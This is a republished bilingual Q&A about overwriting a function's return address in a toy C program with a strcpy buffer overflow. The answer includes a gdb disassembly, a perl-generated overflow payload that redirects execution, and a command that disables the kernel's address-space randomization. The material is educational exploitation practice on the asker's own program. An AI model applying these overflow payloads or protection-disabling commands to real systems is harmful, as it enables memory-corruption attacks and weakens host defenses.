C代码中如何更改代码中的返回地址? [英] C Code how to change return address in the code?

查看:113
本文介绍了C代码中如何更改代码中的返回地址?的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述

我刚刚写了下面的C代码:

I just wrote a C Code which is below :

#include<stdio.h>
#include<string.h>


void func(char *str)
{
        char buffer[24];
        int *ret;
        strcpy(buffer,str);
}

int main(int argc,char **argv)
{
        int x;
        x=0;
        func(argv[1]);
        x=1;
        printf("\nx is 1\n");
        printf("\nx is 0\n\n");
}

请向我建议如何跳过 printf( \nx是1\n); 。较早前,我得到的提示是修改 ret 变量,该变量是函数 func 的返回地址。

Can please suggest me as to how to skip the line printf("\nx is 1\n");. Earlier the clue which I got was to modify ret variable which is the return address of the function func.

您能建议我如何在上述程序中更改寄信人地址,以便跳过 printf( \nx为1\n);

Can you suggest me as to how to change the return address in the above program so that printf("\nx is 1\n"); is skipped.

我已发布此问题,因为我不知道如何更改寄信人地址。

I have posted this question because I don't know how to change the return address.

谢谢

推荐答案

我了解,您希望代码执行指令 x = 1; ,然后跳过下一个printf,以便仅打印 x为0 没有办法。

For what I understand, you want the code to execute the instruction x=1; and then jump over the next printf so it will only print x is 0. There's no way to do that.

但是,可以做的是使func()删除它自己的返回地址,这样代码就会跳转直接到 printf( \nx为0\n\n); 。这意味着也跳过了 x = 1;

However, what could be done is making func() erase it's own return address so the code would jump straight to printf("\nx is 0\n\n");. This means jumping over x=1; too.

这仅可能是因为您要发送到func()通过cmd行传递的任何内容都直接复制到固定大小的缓冲区。如果您要复制的字符串大于分配的缓冲区,则可能会破坏堆栈,并可能覆盖函数的返回地址。

This is only possible because you are sending to func() whatever is passed through the cmd-line and copying directly to a fixed size buffer. If the string you are trying to copy is bigger then the allocated buffer, you'll probably end up corrupting the stack, and potentially overwriting the function's return address.

有很多很棒的书,例如这个主题,我建议您阅读它们。

There are great books like this one on the subject, and I recommend you to read them.

gdb 上加载应用程序并分解主要功能,您会看到类似以下内容:

Loading your application on gdb and disassembling the main function, you'll see something similar to this:

(gdb) disas main
Dump of assembler code for function main:
0x0804840e <main+0>:    lea    0x4(%esp),%ecx
0x08048412 <main+4>:    and    $0xfffffff0,%esp
0x08048415 <main+7>:    pushl  -0x4(%ecx)
0x08048418 <main+10>:   push   %ebp
0x08048419 <main+11>:   mov    %esp,%ebp
0x0804841b <main+13>:   push   %ecx
0x0804841c <main+14>:   sub    $0x24,%esp
0x0804841f <main+17>:   movl   $0x0,-0x8(%ebp)
0x08048426 <main+24>:   mov    0x4(%ecx),%eax
0x08048429 <main+27>:   add    $0x4,%eax
0x0804842c <main+30>:   mov    (%eax),%eax
0x0804842e <main+32>:   mov    %eax,(%esp)
0x08048431 <main+35>:   call   0x80483f4 <func>     // obvious call to func
0x08048436 <main+40>:   movl   $0x1,-0x8(%ebp)      // x = 1;
0x0804843d <main+47>:   movl   $0x8048520,(%esp)    // pushing "x is 1" to the stack
0x08048444 <main+54>:   call   0x804832c <puts@plt> // 1st printf call
0x08048449 <main+59>:   movl   $0x8048528,(%esp)    // pushing "x is 0" to the stack
0x08048450 <main+66>:   call   0x804832c <puts@plt> // 2nd printf call
0x08048455 <main+71>:   add    $0x24,%esp
0x08048458 <main+74>:   pop    %ecx
0x08048459 <main+75>:   pop    %ebp
0x0804845a <main+76>:   lea    -0x4(%ecx),%esp
0x0804845d <main+79>:   ret    
End of assembler dump.

请务必注意,第二次 printf 呼叫的准备工作已经开始地址为 0x08048449 。为了覆盖原始返回地址 func()并使其跳转到 0x08048449 ,您必须超出 char缓冲区[24]的容量; 。在此测试中,为简单起见,我使用了 char buffer [6];

It's important that you notice that the preparation for the 2nd printf call starts at address 0x08048449. In order to override the original return address of func() and make it jump to 0x08048449, you'll have to write beyond the capacity of char buffer[24];. On this test I used char buffer[6]; for simplicity purposes.

gdb 中,如果执行:

run `perl -e 'print "123456AAAAAAAA"x1,"\x49\x84\x04\x08"'`

这将成功覆盖缓冲区,并将返回地址替换为我希望其跳转的地址:

this will successfully override the buffer and replace the address of return with the address I want it to jump to:

Starting program: /home/karl/workspace/stack/fun `perl -e 'print "123456AAAAAAAA"x1,"\x49\x84\x04\x08"'`

x is 0


Program exited with code 011.
(gdb)

我不会解释每一个步骤,因为其他人已经做得更好了,但是如果您想直接从cmd行复制此行为,则可以执行以下命令:

I will not explain every step of the way because others have done it so much better already, but if you want to reproduce this behavior directly from the cmd-line, you could execute the following:

./fun `perl -e 'print "123456AAAAAAAA"x1,"\x49\x84\x04\x08"'`

请记住,内存地址是 gdb 向您报告的情况可能与我得到的报告有所不同。

Keep in mind that the memory addresses that gdb reports to you will probably be different than the ones I got.

注意:要使此技术起作用,您必须先禁用内核保护。但是,即使下面的命令报告的内容不同于0:

Note: for this technique to work you'll have to disable a kernel protection first. But just if the command below reports anything different from 0:

cat /proc/sys/kernel/randomize_va_space

要禁用它,您需要超级用户访问权限:

to disable it you'll need superuser access:

echo 0 > /proc/sys/kernel/randomize_va_space

这篇关于C代码中如何更改代码中的返回地址?的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!

查看全文
登录 关闭
扫码关注1秒登录
发送“验证码”获取 | 15天全站免登陆